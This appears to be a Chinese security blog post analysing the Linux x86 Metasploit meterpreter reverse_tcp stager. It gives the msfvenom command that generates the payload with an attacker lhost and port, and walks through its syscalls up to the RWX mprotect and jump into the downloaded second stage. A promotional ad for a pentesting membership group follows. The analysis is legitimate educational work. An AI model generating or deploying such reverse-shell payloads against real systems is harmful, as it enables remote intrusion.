msf生成windows的shellcode解析

文摘   2024-11-01 14:42   上海  

网上关于msf生成windows的shellcode解析很多,但是linux却不多,这篇打算带大家了解一下msf 生成的linux shellcode。

Payload生成方式

Msfvenom -p Linux/x86/meterpreter/reverse_tcp lhost=192.168.6.129 lport=12345

-f elf > linux.elf

生成的elf反编译

然后代码量就这么大点,纯汇编

仔细看呢 他们的调用方式是通过int 0x80h进行system call的

System call相关文章:

https://blog.csdn.net/xiaominthere/article/details/17287965

eax中存放系统调用的功能号,传递给系统调用的参数顺序依次放到寄存器:ebx,ecx,edx,esi,edi中

从头到尾解析

首先是

首先eax 为0x66时调用了sys-socket函数

Ebx为1,ecx为args,实际上是调用socket函数,其输入参数在args中。

接下来下一段:

Eax为0x66 调用了sys-socket函数

Ebx为3,ecx为args 实际上调用了connect函数

Connect(fd,esp,0x66)

Esp为(struct sockaddr *)&servaddr

结构体Sockaddr定义如下:

struct sockaddr_in {

sa_family_t sin_family; /* 地址族,AF_INET */

in_port_t sin_port; /* 端口号 */

struct in_addr sin_addr; /* IPv4 地址 */

};

其中 sin_family对应0x2, sin_port 对应0x3039(12345)

Sin_addr 为 0xc0.0xa8.0x06.0x81 = 192.168.6.129

后面两个函数使用mprotect设置内存区域的保护标志(READ|WRITE|EXEC),然后通过read函数来读取connnect连接数据,jmp ecx并执行。

至此,msf采用的payload Linux/x86/meterpreter/reverse_tcp生成的shellcode分析完毕。



会双十一活动来啦

帮会领域:专注于APT框架、渗透测试、红蓝对抗等领域

帮会内容覆盖:

1、挖洞技巧和小tips

2、挖洞实战项目案例

3、不定时分享高质量小工具

4、可加入内部群进行攻防技术交流

5、团队内部师傅开发的小工具,优先体验新版本,还可和师傅提出bug获得奖励哦

6、有机会进入团队,成为正式成员,获得更多

活动价格:9.9/月 20/季 79/永久

活动结束后将恢复原价15/月卡、39.9/季卡  将关闭永久会员

Eonian Sharp
Eonian Sharp | 永恒之锋,专注APT框架、渗透测试攻击与防御的研究与开发,没有永恒的安全,但有永恒的正义之锋击破黑暗的不速之客。
 最新文章